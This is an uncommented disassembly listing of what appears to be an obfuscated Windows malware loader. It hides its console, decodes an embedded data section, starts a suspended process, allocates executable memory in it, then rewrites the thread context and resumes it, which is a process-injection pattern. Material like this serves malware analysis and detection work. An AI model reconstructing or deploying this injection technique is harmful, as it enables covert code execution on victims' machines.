call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x16c], 0x29cded25
jmp 0x1000528f
mov dword [ebp - 0x16c], 0x942fa3f9
jmp 0x1000528f
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x16c], 0xbe085880
jmp 0x1000528f
mov dword [ebp - 0x16c], 0x1afb2cde
jmp 0x1000528f
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005aa0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001090
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001090
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c200
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x16c], 0xff30a2f5
jmp 0x1000528f
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x16c], 0x4b9a630b
jmp 0x1000528f
mov edx, dword [ebp - 0xe8]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x16c], 0x2903c396
jmp 0x1000528f
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100020d0
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x16c], 0x643dc15c
jmp 0x1000528f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd4]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x16c], 0xdad35339
jmp 0x1000528f
mov dword [ebp - 0x16c], 0x4e50785
jmp 0x1000528f
mov dword [ebp - 0x16c], 0xc46917c
jmp 0x1000528f
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0x26de4854
jmp 0x1000528f
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
sub ecx, 0xfcdf7358
add ecx, eax
add ecx, 0xfcdf7358
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0x64cb8824
jmp 0x1000528f
mov dword [ebp - 0x16c], 0x325d15c
jmp 0x1000528f
mov dword [ebp - 0x16c], 0x10c70b4
jmp 0x10002960